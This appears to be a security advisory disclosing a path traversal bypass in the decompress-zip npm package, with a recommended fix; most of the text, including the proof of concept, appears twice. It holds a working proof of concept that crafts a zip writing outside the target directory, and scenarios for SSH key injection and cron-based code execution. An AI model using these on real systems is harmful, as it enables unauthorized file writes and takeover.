SECURITY ADVISORY: PATH TRAVERSAL BYPASS IN DECOMPRESS-ZIP
SUMMARY
Package: decompress-zip
npm: https://www.npmjs.com/package/decompress-zip
Repository: https://github.com/bower/decompress-zip
Affected Versions: 0.3.2, 0.3.3 (latest), and 0.2.2
Weekly Downloads: ~90,000
Severity: HIGH (CVSS 3.1 est. 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Researchers: Soumy Naman Srivastava (Cyber Imposter), with AI-assisted code review
Date: April 10, 2026
DESCRIPTION
The decompress-zip npm package versions 0.2.2, 0.3.2, and 0.3.3 (latest) contain a path traversal vulnerability that bypasses the restrict security option. This option was introduced specifically to prevent Zip Slip attacks (SNYK-JS-DECOMPRESSZIP-73598), but the implementation uses String.indexOf() for path validation, which can be bypassed via directory-name prefix confusion.
When restrict: true (the default), the library checks whether the resolved extraction destination starts with the target path. However, indexOf performs a simple substring match, not a directory-boundary-aware comparison. An attacker can craft a zip archive containing entries that resolve to paths outside the target directory while still passing the security check.
VULNERABILITY DETAILS
Vulnerable code (lib/decompress-zip.js, present in 0.3.2 and 0.3.3):
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
if (destination.indexOf(options.path) !== 0) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}
Root Cause: String.indexOf() checks if the destination string starts with options.path as a raw substring, without verifying a directory separator boundary. When the target directory name is a prefix of a sibling directory, the check passes incorrectly.
Example:
- options.path = /tmp/app_data
- Malicious zip entry: ../app_data_backup/evil.js
- Resolved: path.join("/tmp/app_data", "../app_data_backup/evil.js") → /tmp/app_data_backup/evil.js
- Check: "/tmp/app_data_backup/evil.js".indexOf("/tmp/app_data") → 0 ✓ PASSES (false negative)
- Result: File written to /tmp/app_data_backup/evil.js — OUTSIDE THE TARGET DIRECTORY
PROOF OF CONCEPT
Confirmed against: decompress-zip@0.3.3 (latest), Node.js, April 10 2026.
Step 1: Create malicious zip
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('readme.txt', 'benign file')
zf.writestr('../app_data_backup/evil.js', 'console.log("pwned")')
with open('poc_bypass.zip', 'wb') as f:
f.write(buf.seek(0) or buf.read())
Step 2: Extract with restrict: true
var DecompressZip = require('decompress-zip'); // v0.3.3
var fs = require('fs');
var unzipper = new DecompressZip('poc_bypass.zip');
unzipper.on('extract', function() {
// File written OUTSIDE /tmp/app_data despite restrict: true
console.log(fs.existsSync('/tmp/app_data_backup/evil.js')); // true
console.log(fs.readFileSync('/tmp/app_data_backup/evil.js', 'utf8'));
// Output: console.log("pwned")
});
unzipper.extract({
path: '/tmp/app_data',
restrict: true // default — supposedly prevents path traversal
});
Result:
Extraction complete. Results:
[
{ "stored": "readme.txt" },
{ "stored": "../app_data_backup/evil.js" }
]
!!! VULNERABILITY CONFIRMED !!!
File written OUTSIDE target directory:
Target dir: /tmp/app_data
Escaped to: /tmp/app_data_backup/evil.js
Content: console.log("pwned")
EXPLOITABLE SCENARIOS
options.path | Zip entry | Escapes to | Impact
/tmp/app_data | ../app_data_backup/evil.js | /tmp/app_data_backup/evil.js | Arbitrary file write
/home/user | ../username/.ssh/authorized_keys | /home/username/.ssh/authorized_keys | SSH key injection
/var/www | ../www-data/cron.sh | /var/www-data/cron.sh | Code execution
/opt/app | ../application/config.yml | /opt/application/config.yml | Config overwrite
Constraint: The target extraction directory name must be a prefix of the escaped directory name. This is a realistic constraint in many deployments (e.g., app / app_backup, data / database, www / www-data).
IMPACT
- Arbitrary file write outside the intended extraction directory
- Potential remote code execution if executable or config files are overwritten
- Bypasses the security mitigation that was specifically added to prevent this class of attack
- Affects all users of decompress-zip 0.2.2+ who rely on restrict: true (the default)
- ~90,000 weekly downloads on npm
RECOMMENDED FIX
Replace the indexOf check with a directory-boundary-aware comparison:
// Option A: Use path.relative
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
var relative = path.relative(options.path, destination);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}
TIMELINE
2026-04-10 | Vulnerability identified and confirmed with PoC
TBD | Vendor notification via GitHub issue / npm security
TBD | MITRE CVE request
TBD+90d | Public disclosure (if no response)
REFERENCES
SECURITY ADVISORY: PATH TRAVERSAL BYPASS IN DECOMPRESS-ZIP
SUMMARY
Package: decompress-zip
npm: https://www.npmjs.com/package/decompress-zip
Repository: https://github.com/bower/decompress-zip
Affected Versions: 0.3.2, 0.3.3 (latest), and 0.2.2
Weekly Downloads: ~90,000
Severity: HIGH (CVSS 3.1 est. 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Researchers: Soumy Naman Srivastava (Cyber Imposter), with AI-assisted code review
Date: April 10, 2026
DESCRIPTION
The decompress-zip npm package versions 0.2.2, 0.3.2, and 0.3.3 (latest) contain a path traversal vulnerability that bypasses the restrict security option. This option was introduced specifically to prevent Zip Slip attacks (SNYK-JS-DECOMPRESSZIP-73598), but the implementation uses String.indexOf() for path validation, which can be bypassed via directory-name prefix confusion.
When restrict: true (the default), the library checks whether the resolved extraction destination starts with the target path. However, indexOf performs a simple substring match, not a directory-boundary-aware comparison. An attacker can craft a zip archive containing entries that resolve to paths outside the target directory while still passing the security check.
VULNERABILITY DETAILS
Vulnerable code (lib/decompress-zip.js, present in 0.3.2 and 0.3.3):
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
if (destination.indexOf(options.path) !== 0) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}
Root Cause: String.indexOf() checks if the destination string starts with options.path as a raw substring, without verifying a directory separator boundary. When the target directory name is a prefix of a sibling directory, the check passes incorrectly.
Example:
PROOF OF CONCEPT
Confirmed against: decompress-zip@0.3.3 (latest), Node.js, April 10 2026.
Step 1: Create malicious zip
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('readme.txt', 'benign file')
zf.writestr('../app_data_backup/evil.js', 'console.log("pwned")')
with open('poc_bypass.zip', 'wb') as f:
f.write(buf.seek(0) or buf.read())
Step 2: Extract with restrict: true
var DecompressZip = require('decompress-zip'); // v0.3.3
var fs = require('fs');
var unzipper = new DecompressZip('poc_bypass.zip');
unzipper.on('extract', function() {
// File written OUTSIDE /tmp/app_data despite restrict: true
console.log(fs.existsSync('/tmp/app_data_backup/evil.js')); // true
console.log(fs.readFileSync('/tmp/app_data_backup/evil.js', 'utf8'));
// Output: console.log("pwned")
});
unzipper.extract({
path: '/tmp/app_data',
restrict: true // default — supposedly prevents path traversal
});
Result:
Extraction complete. Results:
[
{ "stored": "readme.txt" },
{ "stored": "../app_data_backup/evil.js" }
]
!!! VULNERABILITY CONFIRMED !!!
File written OUTSIDE target directory:
Target dir: /tmp/app_data
Escaped to: /tmp/app_data_backup/evil.js
Content: console.log("pwned")
EXPLOITABLE SCENARIOS
options.path | Zip entry | Escapes to | Impact
/tmp/app_data | ../app_data_backup/evil.js | /tmp/app_data_backup/evil.js | Arbitrary file write
/home/user | ../username/.ssh/authorized_keys | /home/username/.ssh/authorized_keys | SSH key injection
/var/www | ../www-data/cron.sh | /var/www-data/cron.sh | Code execution
/opt/app | ../application/config.yml | /opt/application/config.yml | Config overwrite
Constraint: The target extraction directory name must be a prefix of the escaped directory name. This is a realistic constraint in many deployments (e.g., app / app_backup, data / database, www / www-data).
IMPACT
RECOMMENDED FIX
Replace the indexOf check with a directory-boundary-aware comparison:
// Option A: Use path.relative
if (options.restrict) {
files = files.map(function (file) {
var destination = path.join(options.path, file.path);
var relative = path.relative(options.path, destination);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('You cannot extract a file outside of the target path');
}
return file;
});
}
TIMELINE
2026-04-10 | Vulnerability identified and confirmed with PoC
TBD | Vendor notification via GitHub issue / npm security
TBD | MITRE CVE request
TBD+90d | Public disclosure (if no response)
REFERENCES